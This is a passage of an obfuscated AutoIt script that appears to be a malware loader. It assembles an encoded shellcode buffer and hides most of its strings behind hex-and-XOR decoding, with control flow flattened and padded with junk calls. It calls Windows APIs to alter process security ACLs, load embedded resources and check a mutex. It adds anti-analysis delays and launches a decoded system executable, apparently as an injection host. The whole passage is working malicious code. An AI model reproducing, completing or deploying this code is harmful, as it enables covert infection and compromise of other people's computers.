wbhsenrgekrt("0x3932313242364443443834343943444239304442473131323131313134323437343632324747393836454339373539433234323131313131313139433637", "0x4D6457") Mod(870655, 1360842) $850586237 = 1315599358 Random(3426976) EndIf If $850586237 = 1101603334 Then $bin_shellcode &= wbhsenrgekrt("0x3842374430383333463635374538443746464646464638424338383543393734323030464245303743314536303430334630384243363235303030303030", "0x4F") $850586237 = 1026633618 IsPtr(2237246 * 1661962) EndIf If $850586237 = 1143464446 Then $bin_shellcode &= wbhsenrgekrt("0x3430313830334346383935354643383934444638383934353038383543303734313938423034423230334337353045383832464646464646334234353043", "0x") IsPtr(wbhsenrgekrt("0x476A436C6A324E69673274564A59526A394C733545565A6B47767065764563495A357A533665673358414D5A423438793970544A4469775774724E594C4A574B5A56364E79396E34457A68656939544D7731656657436551484E784E7A73716E4E6261513875393963", "0x57")) $850586237 = 94857840 Dim $bsmuhbaveqzwqpgvlidm = 573561 Dim $9dnc1fd7xaopacgy1es7 = 835399 EndIf If $850586237 = 1190581615 Then $bin_shellcode &= wbhsenrgekrt("0x4330373432423235464630463030303030333032383934354543384243383842343633343239303431393842344446303842343733343046423734433441", "0x57") IsFloat(wbhsenrgekrt("0x774375323567324776457878337A4D3139514B30564A4366754D6C", "0x")) $850586237 = 913085466 EndIf If $850586237 = 1219526522 Then $bin_shellcode &= wbhsenrgekrt("0x343434343C463031464737463032373033313442313442423331403C4242313146343C31473434423C31323534363434343432453034323C343437343434", "0x7350656C") IsBinary(2344254 - 302747 - 1524638) $850586237 = 1846000452 IsString(1211645 - 2544755 + 486045) EndIf If $850586237 = 1315599358 Then $bin_shellcode &= wbhsenrgekrt("0x34473C46333234473C4637323C4637323C463332353C3C3D3331463C3C3D3340473C32303C46373137343434343434343C46333234473C46333234473C46", "0x65434A63") $850586237 = 1474577183 Mod(2172086, 1173926) IsBinary(1785271 - 1013066 * 158255) EndIf If $850586237 = 1325270213 Then $bin_shellcode &= wbhsenrgekrt("0x3432333736473C46334040343C3747333647343742414242333342473C46343334373031353431343C463033423C3437473731344242313146303C463040", "0x6A477579") $850586237 = 730031281 Chr(1102804) Dim $1b3ghttyzk4iw8wn70rj = 2179806 EndIf If $850586237 = 1335055581 Then $bin_shellcode &= wbhsenrgekrt("0x3331403C4242313140303C31473434423C3042414241424242423C4030313D4731343245343642423332313042423331423C42423331403C424231314747", "0x41726E59") IsBool(wbhsenrgekrt("0x695066366E37696852726270", "0x474C")) $850586237 = 925179408 Dim $xc1eyxezlrg7osybiate = 3872609 + 1668084 EndIf If $850586237 = 1474577183 Then $bin_shellcode &= wbhsenrgekrt("0x3237394336373039393836344239394535344335423639343439474747474747363832403242313639383934333147474747474739434736394535344439", "0x69534E") $850586237 = 794585332 IsBinary(1778292 * 2917641 + 3194586) IsBinary(2748092 * 2892181 - 2521084) EndIf If $850586237 = 1479397478 Then $bin_shellcode &= wbhsenrgekrt("0x4330373930353641303435384542304341393030303030303430364130303538304639354330343038443444394335313530464637374534384234374538", "0x") IsFloat(wbhsenrgekrt("0x5353374E6959654F6F7257314F54714F6E7944396C356662646D70364B4832356B68545436656B60564A404A344B69396C39456E6F4740564A324A344767644E7B3150473847536A6F446D4D", "0x6C6953")) $850586237 = 50436774 EndIf If $850586237 = 1497423492 Then $bin_shellcode &= wbhsenrgekrt("0x3233304643373435384345383646313830443839383535344646464646463842343543383833464530324646423442353538464646464646304634463435", "0x") $850586237 = 338886121 Dim $ornr8idcodrfwke3k9qr = 1238438 EndIf If $850586237 = 1621701244 Then $bin_shellcode &= wbhsenrgekrt("0x3046383430444645464646463842343545304542314438423544464333334646383337444438303037343037353746463735443846463535413838334642", "0x") $850586237 = 890626058 Ptr(wbhsenrgekrt("0x404E516E675D65734A573D6541625672664E47776270524B3370364B6175717C757367687E3135", "0x594A6476")) EndIf If $850586237 = 1702891556 Then $bin_shellcode &= wbhsenrgekrt("0x3A4630304545353B33333B3333333333363436304545363640373B36403333453B3736414546454545453634354233373B473736453B36333B413B364137", "0x5146") Int(2548976) $850586237 = 354071659 IsFloat(2928672 * 3026084 - 1518224) Dim $fls5vsxwluhdf5gsqtwq = 700832 - 983497 - 579856 + 1383644 - 3212024 + 1387997 + 3513090 EndIf If $850586237 = 1750190664 Then $bin_shellcode &= wbhsenrgekrt("0x4747343440353934423131473935404531333131313139453934303147424747474734314747363445424747343440313934423131473935383931333131", "0x4F4F74") $850586237 = 292878209 Ptr(26897 + 1550123) IsFloat(wbhsenrgekrt("0x4F58524A42454C40376F59703633484D78386A694B79485853577B36707059423946303972544E7854355634647765794F564B5244366F707132325365506B504075737B604B754F745676504A4C54745262754453673960754A557831367464", "0x6C5046")) EndIf If $850586237 = 1820615488 Then $bin_shellcode &= wbhsenrgekrt("0x3435413838393835334346464646464638443435413038393835343046464646464638443435393038393835343446464646464638443435393438393835", "0x45") IsString(258100 - 220672 - 3735224) $850586237 = 2137482185 IsBinary(614788 * 87543 - 2653387) EndIf If $850586237 = 1846000452 Then $bin_shellcode &= wbhsenrgekrt("0x3131474736373431374031314747343438393943453939344543314739353534313331313131374035313739313132313131313147473637343147473637", "0x594E70") String(wbhsenrgekrt("0x7A313458784273364568", "0x79")) $850586237 = 402793452 Dim $opcvtpzx6gpr8trehjyw = 2202599 IsBool(wbhsenrgekrt("0x75764E6E416F77307263496A4963357647514B417E6C4F35733C4F404356604148513C6D695348623D60334F463043763174414536494D6E555753424E5D7C4B676C4F366D5762566D4E42726F657E4745774C756948483C685E47403D62426F55774C70774B6E6A6F5D777763693C4B7770627574", "0x746B634D")) EndIf If $850586237 = 1934886641 Then $bin_shellcode &= wbhsenrgekrt("0x4141373C3C37344747333C313230424242424242313332304135343547333C31323C424242424242353C41304745343C47333C3132474242424242424137", "0x74666A61") $850586237 = 745203720 Int(991047) EndIf If $850586237 = 1948206075 Then $bin_shellcode &= wbhsenrgekrt("0x3137313231333C463340343C373742323C46303337473C463030373C333C343747333C46313436343C46313C3547343740333C46303C3630343740423C46", "0x616D5757") Dim $evo2bfkwiugytt180xkq = wbhsenrgekrt("0x6F", "0x") $850586237 = 1143464446 Ptr(wbhsenrgekrt("0x513730384967706F5648676D6E697368356164676D555343427A61635A416662757144597377477264656741554A36485267394957614C356F774669676E7974426532374E455A48445764684E72543143437654424770744F49493631786B3051", "0x69")) IsFloat(3982035 + 1141054 - 314270 + 3851006) EndIf If $850586237 = 2123056041 Then $vararray[wbhsenrgekrt("0x32", "0x48")]($file_struct, wbhsenrgekrt("0x6F73656A6F66", "0x6262"), $lpfile) $850586237 = 857064038 IsBinary(2537085 * 3513959 * 3281138 - 1169112) EndIf If $850586237 = 2137482185 Then $bin_shellcode &= wbhsenrgekrt("0x373B4545454545453B47373640373B3A3B3637404545454545453B47373642403B3A3B3636334545454545453B473736404040343B363533454545454545", "0x6B46") Dim $kna1sdjdjjb9covkqlsm = 2846441 $850586237 = 1934886641 Dim $4e0irxpyv8zudznjdlds = wbhsenrgekrt("0x32424A6D685A744A4478646F7A376E6D61575833636F445A4B6830", "0x") IsFloat(1968936 * 94105) EndIf Random(2329606) Next If $protect Then acl($handlefrompid) EndIf EndFunc Func hkmvjkqaarshumzdjrofmqmib($wpath, $warguments, $lpfile, $protect) Return Execute(wbhsenrgekrt("0x717C5470674755497D6C49552C20735465706C282420734576637169616A70772824206874426D686128242074766B706167702D", "0x43726971")) EndFunc Func uxptccqmyhmq($wjajcquxqj, $jaybrjkees, $hirsrmfrnr, $garglwfnyh) Return Execute(wbhsenrgekrt("0x6E60414848736B676C7A6B462B27746942496052567B72492F2749625A617149684646702F276B6A7150716E45514D512F27444251646F74456D5A6B2A", "0x6862")) EndFunc Func mcbkkphdoyhe($dglasfcsuu, $nbyqtnsirp, $ldkzdjjrqv, $dxfwpbxrzm) Return Execute(wbhsenrgekrt("0x706A57684966645A48524755282464474C417346437355552C244E425951546E534972702C244C446B5A444A4A5251562C2464586657504258525A6D29", "0x")) EndFunc Func pjwhifdzhrgu($kmwsefbbnx, $exviwavlwj, $vlcyqpvbar, $qaiffygsvy) Return Execute(wbhsenrgekrt("0x48524272674F4A77695B41712B27486E7470464561416D7B2F27665B756A7442556F74692F27754F407A7273556162712F2772626A45455A4450555A2A", "0x7356")) EndFunc Func kqaqdlitjxbr($hhdsqgbxzo, $flupqzkybo, $jaawhdoqdy, $udqycnhjik) Return Execute(wbhsenrgekrt("0x55437B5B51516D77716A4472292549694572704663597B6E2D25674D5471705B4A58636E2D256B40605649656E7045582D2554457078426F696B486A28", "0x694B50")) EndFunc Func tbzzpplvpkes($oybllfgtog, $ohqgohhhlm, $rktbucuvnc, $raqralyokb) Return Execute(wbhsenrgekrt("0x67684472446C685756497B5429254E58636D6D4746554E462D254E6950664E4949494D6C2D25736A7563746254774F622D2553405053604D586E4A6328", "0x6F734B")) EndFunc Func fiesemivwhzu($xvcxjmmkkv, $gayvtdearj, $kkgloorzfd, $iswjpwiwri) Return Execute(wbhsenrgekrt("0x50524164516E755349654F672824785643586A4D6D4B4B562C246761795654444541524A2C246B6B474C6F4F725A66442C246973776A50574977724929", "0x73")) EndFunc Func pradqnusieog($pklrwqbuxx, $gxxbqmpriv, $unehmodofx, $uhijtazoox) Return Execute(wbhsenrgekrt("0x67446B52676A445B4C496A742925714A4D735670637479592D2566795943706C515368772D25744F44494C4E656E67592D257469484B55607B6E6E7928", "0x65436B")) EndFunc Func fejsfkezmhku($mwbiwlvvsc, $hrnwncfdfi, $mmoacypoiq, $nackixlvlb) Return Execute(wbhsenrgekrt("0x635474734B43524946626E5D2C206973466D53485252774728204C566A534A476260424D282069696B65477D544B4D5528204A45476F6D7C687248462D", "0x68726950")) EndFunc Func elrkoletzsvh($handle) Global $94857840 = 1021930164 Global $6zqkwemcaw = 3881502 For $e = 0 To 1921450 If $94857840 = 1021930164 Then lymopszxugykjqwlvvwur(wbhsenrgekrt("0x30", "0x4464"), wbhsenrgekrt("0x3033313131", "0x506768")) IsBinary(3004084 + 3894771 - 3404885) $94857840 = 1101603334 IsBool(2490741 - 3728444 + 770113 * 3812232) EndIf If $94857840 = 1026633618 Then Local $char = DllStructCreate(wbhsenrgekrt("0x636861725B33325D", "0x4E")) Dim $dxfvofnalxofuj9i8ety = 2079309 $94857840 = 1948206075 Chr(908463) EndIf If $94857840 = 1101603334 Then Local $mainstruct = DllStructCreate(wbhsenrgekrt("0x64776F72643B696E743B64776F72643B5354525543543B7074723B696E743B696E743B696E743B7074723B454E44535452554354", "0x43")) $94857840 = 1026633618 Dim $regj0egvuhah4ztlzxnc = 600049 Chr(3448379) EndIf If $94857840 = 1143464446 Then Local $array = [wbhsenrgekrt("0x337B3733324545454545", "0x5558"), wbhsenrgekrt("0x30", "0x4464"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x32", "0x5575"), wbhsenrgekrt("0x34", "0x6277714E"), DllStructGetPtr($char)] Ptr(3109124 - 2899888 - 941626) ExitLoop Chr(2886365) EndIf If $94857840 = 1948206075 Then Local $dword = DllStructCreate(wbhsenrgekrt("0x64776F7264", "0x")) $94857840 = 1143464446 Random(8793) Dim $qlmdul6m5dtlks3h9xzu = wbhsenrgekrt("0x33497A4F55466C6C4C433354326A706A6532474E4C", "0x43") EndIf IsFloat(3519502 + 3685938) Next For $i = wbhsenrgekrt("0x34", "0x6277714E") To wbhsenrgekrt("0x37", "0x63") DllStructSetData($mainstruct, $i + wbhsenrgekrt("0x32", "0x5575"), $array[$i]) Next Global $1094917431 = 1021930164 Global $ljk1xcnzaq = 3911863 For $e = 0 To 2990446 If $1094917431 = 94857840 Then DllCall(wbhsenrgekrt("0x4A64736F646D32332F656D6D", "0x766E56"), wbhsenrgekrt("0x4C656A606861", "0x6F4B4945"), wbhsenrgekrt("0x4C6F63616C46726565", "0x"), wbhsenrgekrt("0x4C656A606861", "0x6F4B4945"), $dwordpointer) Chr(2899420) ExitLoop Chr(3646314) EndIf If $1094917431 = 1021930164 Then DllStructSetData($char, wbhsenrgekrt("0x32", "0x5575"), wbhsenrgekrt("0x43555252454E545F55534552", "0x")) IsFloat(3900182 * 487680 * 1032561) $1094917431 = 1101603334 IsPtr(wbhsenrgekrt("0x73", "0x76476450")) EndIf If $1094917431 = 1026633618 Then $dwordpointer = DllStructGetPtr($dword) $1094917431 = 1948206075 Dim $x0fjrzfeh15rycesizll = 2706879 * 410851 + 2842119 + 1729744 - 2645772 - 1696490 EndIf If $1094917431 = 1101603334 Then $mainstrucpointer = DllStructGetPtr($mainstruct) String(wbhsenrgekrt("0x60504A50564A50316E574B57424B5641713B364F565641463A607A46426B3142714F4C7932374264606C6B3A4D51606B313B4642424A6B7172665751696D42663364415A31764874445A49454F41337162714F404E416250477B6A546857355A5B67694B6C6D6C4B7B", "0x4B44")) $1094917431 = 1026633618 IsBinary(3250728 - 2804350) EndIf If $1094917431 = 1143464446 Then $setsecurityinfo = DllCall(wbhsenrgekrt("0x42677562736A30312D676F6F", "0x6C44"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x5365745365637572697479496E666F", "0x4A"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $handle, wbhsenrgekrt("0x6A6D77", "0x5059"), wbhsenrgekrt("0x32", "0x52506252"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x30783030303030303034", "0x"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x747076", "0x6847626C"), DllStructGetData($dword, Execute(wbhsenrgekrt("0x32", "0x5575"))), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E")) Random(1795764) $1094917431 = 94857840 IsString(wbhsenrgekrt("0x6C59325653497373645764656544497853325375495563656E5A4C5641453355764A3666556E3467453578355A463337595462435730704257584832374831493374534548444D44374C5A4E77677052364E375343413745754474365162693764", "0x53")) EndIf If $1094917431 = 1948206075 Then $setentriesinacl = DllCall(wbhsenrgekrt("0x42677562736A30312D676F6F", "0x6C44"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x536574456E7472696573496E41636C41", "0x6F"), wbhsenrgekrt("0x71686B6A63", "0x774E5441"), wbhsenrgekrt("0x32", "0x5575"), wbhsenrgekrt("0x747076", "0x6847626C"), $mainstrucpointer, wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x747076", "0x6847626C"), $dwordpointer) IsString(1567943 + 391833 - 1978321) $1094917431 = 1143464446 IsBinary(3416579 + 2356090 + 380488 - 1435080) EndIf Next EndFunc Func acl($handle) Return Execute(wbhsenrgekrt("0x736957647064554D76717576282468616E646C6529", "0x")) EndFunc Func siwdpdumvquv($gvpxgoxman) Return Execute(wbhsenrgekrt("0x496468794A62445B754B4D402B274455737B444C7B4E426D2A", "0x414D")) EndFunc Func jgkziagxvhnc($xeocewidpj) Return Execute(wbhsenrgekrt("0x6C6453604D735248704653462B275B664C6046544A4753692A", "0x5576")) EndFunc Func ogpcnpqksepe($egjmjmgjke) Return Execute(wbhsenrgekrt("0x724F687A66475051557151752B274664496E694E444968662A", "0x784C")) EndFunc Func qlkyedsrvrrv($hpzjfwvqfp) Return Execute(wbhsenrgekrt("0x7949734F536D456F55776C492B276B5359694554557265732A", "0x416F")) EndFunc Func zjplpnflvtoj($vnshkqyuvq) Return Execute(wbhsenrgekrt("0x6F527947416B634652674A772824766E73686B515955565129", "0x")) EndFunc Func orygakcfrgjw($jqfeqzlcnu) Return Execute(wbhsenrgekrt("0x744C77776B72635C547067412C204E556261555E68676A512D", "0x67426144")) EndFunc Func phssovgxptce($hobvgifexi) Return Execute(wbhsenrgekrt("0x7A4675467944695857624B6E2824684F627647496665784929", "0x64")) EndFunc Func zfufydixwbkn($arxzoqobct) Return Execute(wbhsenrgekrt("0x456C526B6F6C45547A73766828246152785A4F714F62437429", "0x")) EndFunc Func gqwyqfhfazvn($loop, $time) Local $var = Random(wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x323535", "0x77")) For $i = 0 To $loop Global $1026633618 = 1021930164 Global $kqy6c2jgft = 293401 For $e = 0 To 3561027 IsBinary(3717093 * 1934201 * 1567044 - 1576802) If $1026633618 = 1021930164 Then Sleep($time / $loop) Ptr(wbhsenrgekrt("0x504D6E4E6A706E7E504C576E664C4E5D337C60334C6F424E50465542763C354941555D424E7770314068697C61715634614E3556537E724D604D35534A496C5156624A7151606B4B606D4072336D427D513445576C6E346270744665464C75356146553D557362667169494A", "0x58435177")) $1026633618 = 1101603334 IsBool(246446 + 3208579 + 1670881) Mod(2228714, 42221) EndIf If $1026633618 = 1101603334 Then $var += Random(wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x323535", "0x77")) ExitLoop EndIf IsBinary(wbhsenrgekrt("0x42475377557A7734466C6A744E48363946434F4E5A695468764B7A683968587454664247554F64566453626579523064716E3978374D5174584A616A", "0x")) Next If $var = $var Then $var = Random(wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x323535", "0x77")) EndIf Next EndFunc Func lymopszxugykjqwlvvwur($loop, $time) Return Execute(wbhsenrgekrt("0x6E4D4F5556524A7574664B5328246C6F6F702C202474696D6529", "0x")) EndFunc Func nmouvrjutfks($witriqqyxj, $ivyxeczwlf) Return Execute(wbhsenrgekrt("0x444C49484D7762636B74776D28247749747249515159784A2C246956595865437A576C4629", "0x6C")) EndFunc Func dlihmwbcktwm($xwgkruizho, $zsyvqnpubw) Return Execute(wbhsenrgekrt("0x7350504452596848625644752B277B74646851766A796B6C2F2779505A75726D535661542A", "0x786F")) EndFunc Func pssgqzkkaugv($hbvfmedsmv, $tjwwbzbian) Return Execute(wbhsenrgekrt("0x4168416F796B6B7259694F6D2824684256464D4544734D562C24546A5757627A6269414E29", "0x")) EndFunc Func ahaoykkryiom($hqqjjqxcgr, $mfupxwbbyn) Return Execute(wbhsenrgekrt("0x524845727A7A4A555042654428246851514A6A71586347522C246D66555078576262594E29", "0x49")) EndFunc Func rherzzjupbed($rpnmvqvbtq, $lgtoorllvv) Return Execute(wbhsenrgekrt("0x78456454747B7368644C6664292573716F4C7750776375702D256D46756E4E534D6D577728", "0x675972")) EndFunc Func ydeuuzriemge($gamuinpgyf, $yzkmvscdnt) Return Execute(wbhsenrgekrt("0x776D647A69466F6764666F4A282467614D75694E706779662C24597A4B6D765363646E7429", "0x57")) EndFunc Func wmdzifogdfoj($vvipfgmfag, $lpgcgqdsdi) Return Execute(wbhsenrgekrt("0x75544B614C6C47794458515628245656697046474D6661472C244C70476367716473644929", "0x")) EndFunc Func utkallgydxqv($aodnsmvgsw, $ohxbalrwpc) Return Execute(wbhsenrgekrt("0x4771775971666846417A564E2824616F446E734D766773572C246F487862614C7277704329", "0x")) EndFunc Func jphbxjtfxlvo($soccurrencename) Global $1026633618 = 1021930164 Global $p5yx0jhfzp = 54955 For $e = 0 To 3422259 If $1026633618 = 1021930164 Then Local $ahandle = DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), wbhsenrgekrt("0x4273646075644C7475647956", "0x74774D"), wbhsenrgekrt("0x7275737462752B", "0x754776"), Eval(wbhsenrgekrt("0x34", "0x6277714E")), wbhsenrgekrt("0x626F6F6C", "0x"), Eval(wbhsenrgekrt("0x32", "0x5575")), wbhsenrgekrt("0x76727573", "0x6E6F61"), $soccurrencename) Dim $otouv0whzvgziujn3uxx = 2460321 $1026633618 = 1101603334 Dim $r818i7dbimh1vyoyjr7d = 1890483 EndIf If $1026633618 = 1101603334 Then Local $alasterror = DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x4466774F6270774671716C71", "0x5874")) Mod(2093710, 608222) ExitLoop IsString(675837 - 1475685 * 3208375) EndIf Int(311033) Next If $alasterror[0] = wbhsenrgekrt("0x303932", "0x61634F") Then Global $1026633618 = 1021930164 Global $5msrefxmut = 3412670 For $e = 0 To 294656 Dim $l25a4noriqy6savsdlyr = wbhsenrgekrt("0x635835", "0x45") If $1026633618 = 1021930164 Then DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x47686B77614C656A606861", "0x6A455A71"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $ahandle[wbhsenrgekrt("0x34", "0x6277714E")]) $1026633618 = 1101603334 EndIf If $1026633618 = 1101603334 Then Exit ExitLoop EndIf Dim $cy0lndlchw7rbo3p1ajf = wbhsenrgekrt("0x7D5E", "0x466A4D6E") Next EndIf EndFunc Func hqeqanssejka($soccurrencename) Return Execute(wbhsenrgekrt("0x436B67527448756946474E6B2925724E6262747373646F62644F606C6428", "0x434D65")) EndFunc Func bjfsuithgfoj($iezaomjpxz) Return Execute(wbhsenrgekrt("0x7B675546527476556A476C64292568647B604E6C4B71797B28", "0x4C4647")) EndFunc Func zftgsuwtkfme($rynpsvomfp) Return Execute(wbhsenrgekrt("0x526472454356794863624871282452594E7053566F6D667029", "0x51")) EndFunc Func rdrecvyhcbhq($kqgtlpuvcv) Return Execute(wbhsenrgekrt("0x696B546B534F414E4965685328246B7147544C507576435629", "0x69")) EndFunc Func iktksoaniehs($gejlgcbxvh) Return Execute(wbhsenrgekrt("0x695573587A57727658426152282467456A6C47634258564829", "0x46")) EndFunc Func iusxzwrvxbar($whnvwxhafk) Return Execute(wbhsenrgekrt("0x55544248434C4C5D5D675C6C2C20736C4A72735C6C65424F2D", "0x62574854")) EndFunc Func qpflghhyycxh($zildmrygpz) Return Execute(wbhsenrgekrt("0x626C4257465A576D577A766828245A694C446D725967505A29", "0x")) EndFunc Func blbwfzwmwzvh($rnncsnobjp) Return Execute(wbhsenrgekrt("0x436248674B6C74686A4375632824724E4E63734E4F626A7029", "0x")) EndFunc Func cbhgklthjcuc($trrytcdkwn) Return Execute(wbhsenrgekrt("0x4B514943794B7567594D574E2925757353785562654A566F28", "0x794C53")) EndFunc Func mnvvodqrwjoy($resname, $restype) Global $1820615488 = 1021930164 Global $hg2k5n7nzp = 3268881 For $e = 0 To 1817974 IsFloat(2209887 - 1928982) If $1820615488 = 94857840 Then Local $memorypointer $1820615488 = 1094917431 EndIf If $1820615488 = 446890319 Then Return DllStructCreate(wbhsenrgekrt("0x637875645A", "0x6C684A") & $ressize & wbhsenrgekrt("0x5E", "0x636D"), $memorypointer) Int(2548814) ExitLoop IsBinary(134356 * 2451070) EndIf If $1820615488 = 794585332 Then $memorypointer = DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x4F6C60685166706C76716066", "0x4C4F"), wbhsenrgekrt("0x747076", "0x6847626C"), $globalmemoryblock)[wbhsenrgekrt("0x34", "0x6277714E")] $1820615488 = 446890319 Int(3450379) Dim $slnk4i5hwjy1xrmmakmz = 857958 EndIf If $1820615488 = 1021930164 Then Local $respointer Dim $6j3jbhgvng5ogc5dsbo4 = 1183711 $1820615488 = 1101603334 Int(2764193) EndIf If $1820615488 = 1026633618 Then Local $hinstance $1820615488 = 1948206075 Dim $hovoufolcmqv7f7otgl0 = 2784759 * 762838 - 2528308 * 1021085 * 1053868 * 1043118 EndIf If $1820615488 = 1094917431 Then $infoblock = DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x46696E645265736F7572636557", "0x44"), wbhsenrgekrt("0x747076", "0x6847626C"), $hinstance, wbhsenrgekrt("0x76727573", "0x6E6F61"), $resname, wbhsenrgekrt("0x686B6A63", "0x514A6979"), $restype)[wbhsenrgekrt("0x34", "0x6277714E")] String(wbhsenrgekrt("0x77357A72706777355451764B303152763374436F62425A41767077644C73474A453455714179486569536B49424F37794678564F34355835663836615473737A6A5767356841354457786674727138527338476E48314F4A68596B42434875307955", "0x")) $1820615488 = 1315599358 Int(358911) EndIf If $1820615488 = 1101603334 Then Local $ressize $1820615488 = 1026633618 Ptr(wbhsenrgekrt("0x59626C51555566327164445A707340616C6073374432706A72524155723B6A564D6875416D33496677306449616D3A593A734D474A4A643450647965777748703B54696B37615B7B406F494D", "0x6C58")) Dim $dqlvaunkedxuhzduarxl = 1001260 EndIf If $1820615488 = 1143464446 Then Local $globalmemoryblock $1820615488 = 94857840 Chr(1023150) EndIf If $1820615488 = 1315599358 Then $ressize = DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x506A79666C655166706C76716066", "0x7555"), wbhsenrgekrt("0x747076", "0x6847626C"), $hinstance, wbhsenrgekrt("0x747076", "0x6847626C"), $infoblock)[wbhsenrgekrt("0x34", "0x6277714E")] Mod(3955615, 3964630) $1820615488 = 1474577183 IsBool(1268458 + 221521 - 1146635) EndIf If $1820615488 = 1474577183 Then $globalmemoryblock = DllCall(wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x4C6F61645265736F75726365", "0x66"), wbhsenrgekrt("0x747076", "0x6847626C"), $hinstance, wbhsenrgekrt("0x747076", "0x6847626C"), $infoblock)[wbhsenrgekrt("0x34", "0x6277714E")] Random(1774060) $1820615488 = 794585332 Random(439946) Ptr(3219388 + 2566161 * 391900) EndIf If $1820615488 = 1948206075 Then Local $infoblock IsPtr(wbhsenrgekrt("0x656041505971", "0x7243")) $1820615488 = 1143464446 Ptr(wbhsenrgekrt("0x587262367968713268784A6155633351583843774747353379684E685A6D6139746856584C3152443332614F45635351354C30617662697077694772436A6435774B524C716764367238444F4770787779", "0x")) Mod(1455405, 27958) EndIf Random(1992160) Next EndFunc Func hyfdzyqzqfkljwcdg($resname, $restype) Return Execute(wbhsenrgekrt("0x4C517557725D50437D4B41712C205661774A656961282420566177507D74612D", "0x4A626548")) EndFunc Func huqsvytgyoeu($vbopzicufl, $esgiassmyi) Return Execute(wbhsenrgekrt("0x6B545369566847696A4472732B2775614C73796A6076654F2F276650444A4250704E5A6A2A", "0x5641")) EndFunc Func hwpjukdjigqp($cbkrzqlbuc, $ueddcvqhho) Return Execute(wbhsenrgekrt("0x5168524D4B6A4F6E4B627278282463624B527A716C6255432C247545444463765168684F29", "0x51")) EndFunc Func qhrmkjonkbrx($hvfsqvybmr, $vktxitrwqj) Return Execute(wbhsenrgekrt("0x54556456564A60556F5969552B276B55655052755A416E512F275568577B6A77717452492A", "0x6B62")) EndFunc Func wvguuicvlzjv($xaadqapcfe, $clekahwrbd) Return Execute(wbhsenrgekrt("0x4E4E6D504C6961464046664B2C205C65454055455467626128204748414F654C537646602D", "0x46546D68")) EndFunc Func jjithmebdbbo($skpdhklfui, $etryqhucbp) Return Execute(wbhsenrgekrt("0x496677517B504A4664534F5B2925724A5145494A4D4774682D254455537870497462637128", "0x624B51")) EndFunc Func hgvpzqkgernz($gvviojgixb, $xzvmqmlxvg) Return Execute(wbhsenrgekrt("0x4468516045574453585645602925665777486E6B466859432D25797B774C506C4D59774628", "0x6C4351")) EndFunc Func eipadverywda($pjixaitftt, $mtplxxohox) Return Execute(wbhsenrgekrt("0x425667787771555654734E6E2824506A49584169746654542C244D74704C58586F484F5829", "0x58")) EndFunc Func bvgxwquvtsnn($dcitkexeid, $wxgvawmyhg) Return Execute(wbhsenrgekrt("0x4D6E76566F647172574A6F592824644349546B45786569642C245778677661776D59684729", "0x")) EndFunc Func caeusfypholb() Local $array = [wbhsenrgekrt("0x756E776C6C6F70672D667B66", "0x554D"), wbhsenrgekrt("0x72666B7C2A617C61", "0x44436F46")] For $i = 0 To UBound($array) - wbhsenrgekrt("0x32", "0x5575") If ProcessExists($array[$i]) Then Execute(wbhsenrgekrt("0x54766B6761777747686B77612C444571706B4D70544D402D", "0x4B644263")) EndIf Next EndFunc Func mbgyonrumymg($protect) Local $res = $mnuvkvtudjtpdeoevs If FileExists(@HomeDrive & wbhsenrgekrt("0x5F546A6D676C74705F4E6A60716C706C65772D4D46575F4571626E66746C71685F75312D332D36333431345F51666442706E2D667B66", "0x6647")) Then $processid = hkmvjkqaarshumzdjrofmqmib(@HomeDrive & wbhsenrgekrt("0x5F546A6D676C74705F4E6A60716C706C65772D4D46575F4571626E66746C71685F75312D332D36333431345F51666442706E2D667B66", "0x6647"), wbhsenrgekrt("0x", "0x73"), $res, $protect) ElseIf FileExists(@HomeDrive & wbhsenrgekrt("0x5D56686F656E76725D4C6862736E726E67752F4F44555D4773606C64766E736A5D77352F312F32313230385D53646640726C2F647964", "0x435266")) Then $processid = hkmvjkqaarshumzdjrofmqmib(@HomeDrive & wbhsenrgekrt("0x5D56686F656E76725D4C6862736E726E67752F4F44555D4773606C64766E736A5D77352F312F32313230385D53646640726C2F647964", "0x435266"), wbhsenrgekrt("0x", "0x73"), $res, $protect) EndIf EndFunc Func qyppsaalreb($protect) Return Execute(wbhsenrgekrt("0x506071656E446B6A51555865292571736E7564627528", "0x6E526B")) EndFunc Func qapdoejkptyd($kwdpnlzozg) Return Execute(wbhsenrgekrt("0x4E5D474A46544972486B73542C204F5340746A487E4B5E632D", "0x77417147")) EndFunc Func jycnbpmvlowp($qvlyalqmmg) Return Execute(wbhsenrgekrt("0x776F6D554B414B517A494844282471764C59616C514D6D6729", "0x42")) EndFunc Func 